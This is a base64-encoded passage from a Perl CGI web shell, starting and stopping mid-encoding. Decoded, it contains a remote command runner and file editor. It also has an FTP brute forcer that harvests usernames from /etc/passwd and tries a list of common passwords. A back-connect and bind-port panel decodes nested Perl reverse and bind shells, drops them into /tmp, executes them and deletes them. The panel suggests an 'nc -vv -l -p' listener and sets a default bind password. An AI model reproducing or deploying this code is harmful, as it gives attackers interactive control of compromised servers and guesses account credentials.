vdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiPGZvbnQgZmFjZT1TYWxzYT5Db21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiI8Zm9udCBmYWNlPVNhbHNhPmRpciAtbGlhIjsNCgkJJHJlc3VsdCAuPSAmUnVuQ21kOw0KCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pDQoJew0KCQkkcmVzdWx0IC49ICAmU2F2ZUZpbGVGb3JtOw0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkkcmVzdWx0IC49ICI8Zm9udCBmYWNlPVNhbHNhPkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgU2Fsc2E7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOw0KCWlmKC13ICRGaWxlKQ0KCXsNCgkJJHJvd3M9IjIzIg0KCX1lbHNlDQoJew0KCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgU2Fsc2E7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPjxmb250IGZhY2U9U2Fsc2E+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZw0KCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPg0KRU5EDQoJDQoJJHJlc3VsdCAuPSAmUnVuQ21kOw0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAgIjwvZm9ybT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBTYXZlIEZpbGUNCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZSgkKQ0Kew0KCW15ICREYXRhPSBzaGlmdCA7DQoJbXkgJEZpbGU9IHNoaWZ0Ow0KCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOw0KCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQ0KCXsNCgkJYmlubW9kZSBGSUxFOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlyZXR1cm4gMTsNCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCcnV0ZSBGb3JjZXIgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyRm9ybQ0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJHJlc3VsdCAuPSA8PEVORDsNCg0KPHRhYmxlPg0KDQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+DQpTaW1wbGUgRlRQIEJydXRlIEZvcmNlPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2UiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPjxmb250IGZhY2U9U2Fsc2E+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+PGZvbnQgZmFjZT1TYWxzYT44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJDYWh5b1RLSiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+PGZvbnQgZmFjZT1TYWxzYT5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+PGZvbnQgZmFjZT1TYWxzYT4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJ